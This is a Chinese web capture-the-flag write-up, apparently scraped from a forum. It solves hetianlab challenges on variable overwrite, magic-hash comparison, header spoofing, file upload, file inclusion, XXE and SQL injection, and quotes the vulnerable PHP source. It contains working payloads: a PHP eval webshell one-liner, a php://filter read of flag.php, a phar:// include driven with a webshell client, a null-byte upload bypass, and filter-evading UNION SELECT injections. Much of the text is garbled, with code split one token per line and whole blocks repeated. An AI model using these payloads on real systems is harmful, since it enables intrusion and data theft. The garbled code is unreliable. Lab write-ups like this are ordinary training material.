查看源代码
题目描述
源代码
flag{asdhetianlab}
<script language
=
"pHp"
>@
eval
($_POST[
'UzJu'
])<
/
script>
<script language
=
"pHp"
>@
eval
($_POST[
'UzJu'
])<
/
script>
<?php
include
"flag.php"
;
$_403
=
"Access Denied"
;
$_200
=
"Welcome Admin"
;
if
($_SERVER[
"REQUEST_METHOD"
] !
=
"POST"
){
/
/
需要POST方法
die(
"hetianlab flag is here :biubiubiu"
);
}
if
(!isset($_POST[
"flag"
])){
/
/
需要POST参数
=
flag
die($_403);
}foreach ($_GET as $key
=
> $value){
/
/
遍历GET方法所传值
$$key
=
$$value;
}foreach ($_POST as $key
=
> $value){
/
/
遍历POST方法所传值
$$key
=
$value;
}
if
($_POST[
"flag"
] !
=
=
$flag){
die($_403);
}
echo
"This is your flag : "
. $flag .
"\n"
;
die($_200);
?>
<?php
include
"flag.php"
;
$_403
=
"Access Denied"
;
$_200
=
"Welcome Admin"
;
if
($_SERVER[
"REQUEST_METHOD"
] !
=
"POST"
){
/
/
需要POST方法
die(
"hetianlab flag is here :biubiubiu"
);
}
if
(!isset($_POST[
"flag"
])){
/
/
需要POST参数
=
flag
die($_403);
}foreach ($_GET as $key
=
> $value){
/
/
遍历GET方法所传值
$$key
=
$$value;
}foreach ($_POST as $key
=
> $value){
/
/
遍历POST方法所传值
$$key
=
$value;
}
if
($_POST[
"flag"
] !
=
=
$flag){
die($_403);
}
echo
"This is your flag : "
. $flag .
"\n"
;
die($_200);
?>
<html>
<head>
<meta http
-
equiv
=
"Content-Type"
content
=
"text/html; charset=utf-8"
/
>
<title>学会变量覆盖<
/
title>
<
/
head>
<body>
<!
-
-
$flag
=
'xxxx'
:
extract($_GET):
if
(isset($gift))
Scontent
=
@trim(file_get_contents($flag)):
if
(Sgift
=
$content)
echo"flag
else
echo
' oh . . '
;
-
-
>
<
/
body>
<
/
html>
<html>
<head>
<meta http
-
equiv
=
"Content-Type"
content
=
"text/html; charset=utf-8"
/
>
<title>学会变量覆盖<
/
title>
<
/
head>
<body>
<!
-
-
$flag
=
'xxxx'
:
extract($_GET):
if
(isset($gift))
Scontent
=
@trim(file_get_contents($flag)):
if
(Sgift
=
$content)
echo"flag
else
echo
' oh . . '
;
-
-
>
<
/
body>
<
/
html>
<?php
highlight_file(
'source.txt'
);
echo
"<br><br>"
;
$flag
=
'xxxxxxxx'
;
$msg_giveme
=
'Give me the flag!'
;
$msg_getout
=
'No this. Get out!'
;
if
(!isset($_GET[
'flag'
]) && !isset($_POST[
'flag'
])){
exit($msg_giveme);
}
if
($_POST[
'flag'
]
=
=
=
'flag'
|| $_GET[
'flag'
]
=
=
=
'flag'
){
exit($msg_getout);
}
foreach ($_POST as $key
=
> $value) {
$$key
=
$value;
}
foreach ($_GET as $key
=
> $value) {
$$key
=
$$value;
}
echo
'the flag is : '
. $flag;
?>
<?php
highlight_file(
'source.txt'
);
echo
"<br><br>"
;
$flag
=
'xxxxxxxx'
;
$msg_giveme
=
'Give me the flag!'
;
$msg_getout
=
'No this. Get out!'
;
if
(!isset($_GET[
'flag'
]) && !isset($_POST[
'flag'
])){
exit($msg_giveme);
}
if
($_POST[
'flag'
]
=
=
=
'flag'
|| $_GET[
'flag'
]
=
=
=
'flag'
){
exit($msg_getout);
}
foreach ($_POST as $key
=
> $value) {
$$key
=
$value;
}
foreach ($_GET as $key
=
> $value) {
$$key
=
$$value;
}
echo
'the flag is : '
. $flag;
?>
<?php
header(
"Content-Type: text/html;charset=utf-8"
);
error_reporting(
0
);
if
(empty($_GET[
'id'
]))
{
show_source(__FILE__);
die();
}
else
{
include (
'flag.php'
);
$a
=
"www.hetianlab.com "
;
$
id
=
$_GET[
'id'
];
@parse_str
($
id
);
if
($a[
0
] !
=
'QNKCDZO'
&& md5($a[
0
])
=
=
md5(
'QNKCDZO'
))
{
echo $flag;
}
else
{
exit(
'其实很简单其实并不难!'
);
}
}
?>
<?php
header(
"Content-Type: text/html;charset=utf-8"
);
error_reporting(
0
);
if
(empty($_GET[
'id'
]))
{
show_source(__FILE__);
die();
}
else
{
include (
'flag.php'
);
$a
=
"www.hetianlab.com "
;
$
id
=
$_GET[
'id'
];
@parse_str
($
id
);
if
($a[
0
] !
=
'QNKCDZO'
&& md5($a[
0
])
=
=
md5(
'QNKCDZO'
))
{
echo $flag;
}
else
{
exit(
'其实很简单其实并不难!'
);
}
}
?>
1 |
<script language = "pHp" >@ eval ($_POST[ 'UzJu' ])< / script>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
include "flag.php" ;
$_403 = "Access Denied" ;
$_200 = "Welcome Admin" ;
if ($_SERVER[ "REQUEST_METHOD" ] ! = "POST" ){
/ / 需要POST方法
die( "hetianlab flag is here :biubiubiu" );
} if (!isset($_POST[ "flag" ])){
/ / 需要POST参数 = flag
die($_403);
}foreach ($_GET as $key = > $value){
/ / 遍历GET方法所传值
$$key = $$value;
}foreach ($_POST as $key = > $value){
/ / 遍历POST方法所传值
$$key = $value;
} if ($_POST[ "flag" ] ! = = $flag){
die($_403);
}
echo "This is your flag : " . $flag . "\n" ;
die($_200);
?>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<html>
<head>
<meta http - equiv = "Content-Type" content = "text/html; charset=utf-8" / >
<title>学会变量覆盖< / title>
< / head>
<body>
<! - -
$flag = 'xxxx' :
extract($_GET):
if (isset($gift))
Scontent = @trim(file_get_contents($flag)):
if (Sgift = $content)
echo"flag
else
echo ' oh . . ' ;
- - >
< / body>
< / html>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?php
highlight_file( 'source.txt' );
echo "<br><br>" ;
$flag = 'xxxxxxxx' ;
$msg_giveme = 'Give me the flag!' ;
$msg_getout = 'No this. Get out!' ;
if (!isset($_GET[ 'flag' ]) && !isset($_POST[ 'flag' ])){
exit($msg_giveme);
}
if ($_POST[ 'flag' ] = = = 'flag' || $_GET[ 'flag' ] = = = 'flag' ){
exit($msg_getout);
}
foreach ($_POST as $key = > $value) {
$$key = $value;
}
foreach ($_GET as $key = > $value) {
$$key = $$value;
}
echo 'the flag is : ' . $flag;
?>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?php
header( "Content-Type: text/html;charset=utf-8" );
error_reporting( 0 );
if (empty($_GET[ 'id' ]))
{
show_source(__FILE__);
die();
}
else
{
include ( 'flag.php' );
$a = "www.hetianlab.com " ;
$ id = $_GET[ 'id' ];
@parse_str ($ id );
if ($a[ 0 ] ! = 'QNKCDZO' && md5($a[ 0 ]) = = md5( 'QNKCDZO' ))
{
echo $flag;
}
else
{
exit( '其实很简单其实并不难!' );
}
}
?>
|
- 我的博客:blog.CatGames.cn
- 我的邮箱:root@r0insecurity.com
- 漏洞地址:10.1.1.147:5001
- Burp抓包
- 对应题目,神奇的磁带(tape)
flag是:Flag{ctf_victory_SecBug}
- 题目描述
- 查看源码
- 没什么东西 看看当前页面COOKIE
- 打开burp抓包
- 没什么东西,然后看了一下标题
- 打开终端扫一下目录
- 都指向console目录
- 根据经验发现XFF没跑了 burp抓包改包
拿到flag: flag{hetianlab-weekctf}
- 题目描述
- 访问网站
- 查看源代码
- 查找一番无果后根据标题猜测跟HTTP的Accept-language有关
- 8个国家,分别为美国 英国 法国 德国 日本 韩国 西班牙 瑞典 百度搜了一下
- 美国:en-US
- 英国:en-gb
- 法国:fr-fr
- 德国:de-de
- 日本:ja-jp/jp
- 韩国:kr/kor 实测kr并不会返回信息
- 西班牙:es-es
- 瑞典:sv
拼接flag为:flag{Thisis_hetianlab@}
- 题目描述
- 访问网站
- 尝试一下admin admin 无果后查看源代码
- 审计题 定义俩变量
- 检查post user name 和password
- 等于
- 检查cookie是不是 check
- url解密后的username变量全部等于(===你懂的)和url解密后的password不等于admin 意思是账号admin密码不等于admin即可
- 然后setcookie等于ahash然后用base64加密secret变量然后urldecode admin admin,time()为时间7天
- 流程就是抓包把cookie改成check然后加密后的secret和明文的admin与任意密码
- 抓包看到一个base64加密的cookie
- 解密后
- 这个88应该就是secret这个变量 那么把它加密
- 然后把包丢进repeater
- 名字改为check等于加密后的88
- 后面跟上admin与任意密码即可 注意:check那里的密码必须与下面提交的数据password一样 不然会提示重新检查cookie
flag{welcome_to_htlab}
- 题目描述
- 访问网站
- 检查提交的源代码
- 新建文件
- 写入phpinfo
- 点击发送
Flag: flag{hetian@lab_com}
- 题目描述
- 访问网站
- 看一下提交按钮的javascript
- 丢到repeater
- 就只剩下第三层了
- LBWNB 17这个数字 猜测是提交的数据
行
flag{0000_0000_0000}
- 题目描述
- 访问网站
- 查看源码
- 源代码没有东西 直接整抓包上传8
- Uploads/后面加上UzJu.php%00 然后点击send发现还是不行
- 后来想了一下好像要改hex
flag{asdf_hetianlab_com}
- 题目描述
- 访问网站
- ../phpinfo.php
- 拉到最底下查看flag
Flag: flag{abcd_hetianlab_1234_qwer}
- 题目描述
- 访问网站
- 彳亍 解密后
Flag: flag{abdc_1234_qwer_hetian}
- Payload: php://filter/convert.base64encode/resource=flag.php
- 题目描述
- 访问网站
- 新建文件
- 打包成zip 然后将zip文件后缀名改为jpg
- 上传文件
- 在c盘下有菜刀工具 连接地址:http://10.1.1.147:5011/include.php?
file=phar://upload/test.jpg/1
flag{whoami_hetianlab_student}
- 题目描述
- 访问网站 查看源码
- 按照题目提示找到注释说明flag在opt目录下
Flag(hetianlab_ctf)
- 题目描述
- 启动apache 进入html目录 创建dtd文件
- 修改POST数据
- 抓包后监听即可
flag{hetian_1234_awdr}
- 题目描述
- 访问网站 直接使用file协议
- 查看flag
flag{enter_your_passwd}
- 题目描述
- 抓包
- 需要POST参数admin
- 加上XFF
- 试试xcip
flag{0123_hetianlab_hunan}
- 题目描述
- 访问网站
- 源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
include "flag.php" ;
$_403 = "Access Denied" ;
$_200 = "Welcome Admin" ;
if ($_SERVER[ "REQUEST_METHOD" ] ! = "POST" ){
/ / 需要POST方法
die( "hetianlab flag is here :biubiubiu" );
} if (!isset($_POST[ "flag" ])){
/ / 需要POST参数 = flag
die($_403);
}foreach ($_GET as $key = > $value){
/ / 遍历GET方法所传值
$$key = $$value;
}foreach ($_POST as $key = > $value){
/ / 遍历POST方法所传值
$$key = $value;
} if ($_POST[ "flag" ] ! = = $flag){
die($_403);
}
echo "This is your flag : " . $flag . "\n" ;
die($_200);
?>
|
- 变量覆盖题
flag{hunan_hetian}
- 题目描述
-
查看源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<html>
<head>
<meta http - equiv = "Content-Type" content = "text/html; charset=utf-8" / >
<title>学会变量覆盖< / title>
< / head>
<body>
<! - -
$flag = 'xxxx' :
extract($_GET):
if (isset($gift))
Scontent = @trim(file_get_contents($flag)):
if (Sgift = $content)
echo"flag
else
echo ' oh . . ' ;
- - >
< / body>
< / html>
|
- 判断gift变量是否存在,否则执行判断
File_get_contents读取flag传给content
判断gift 是否等于content,如果等于content就输出flag
- 构造gift=&flag= 两个值都为空,判断相等
flag{hetianlab}
-
题目描述
-
源代码
- 题目描述
- Parse_str导致的变量覆盖
- Payload: http://10.1.1.147:5020/?id=a[0]=s878926199a
- Php参考:
https://www.cnblogs.com/xhds/p/12587249.html#_label2
https://www.cnblogs.com/xhds/p/12349189.html
- 题目描述
- 访问网站
- 简单的查询代码 输入1
- 输入2
- 提示hacker! 可能过滤的’ 或者 and等
- 没有提示hacker 说明没有过滤单引号 根据标题发现可能过滤了空格
- 尝试and后也没有过滤and
- 首先1’order//by//5#
- 发现没有信息 再尝试1’order//by//3#
- 然后使用-1’union//select//1,2,3#
- 然后看到我才会告诉你可以用select flag from flag看到Flag尝试
- payload:-1'union//select//1,2,flag//from//flag#
Flag: flag{63564494cac7097c}
- 题目描述
- 打开发现跟21周的没什么区别 只是新增了select过滤
- 直接大小写绕过即可
- Payload:-1'union//SeLeCt//1,2,flag//from//flag#
Flag:flag{ff98f887ddaaad88}
Web-CTF-WriteUp
一、前言
二、WriteUp
①、编码
1、神奇的磁带-WriteUp
②、HTTP基础
2、 就差一把钥匙
3、 迷了路
③、基础代码审计
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!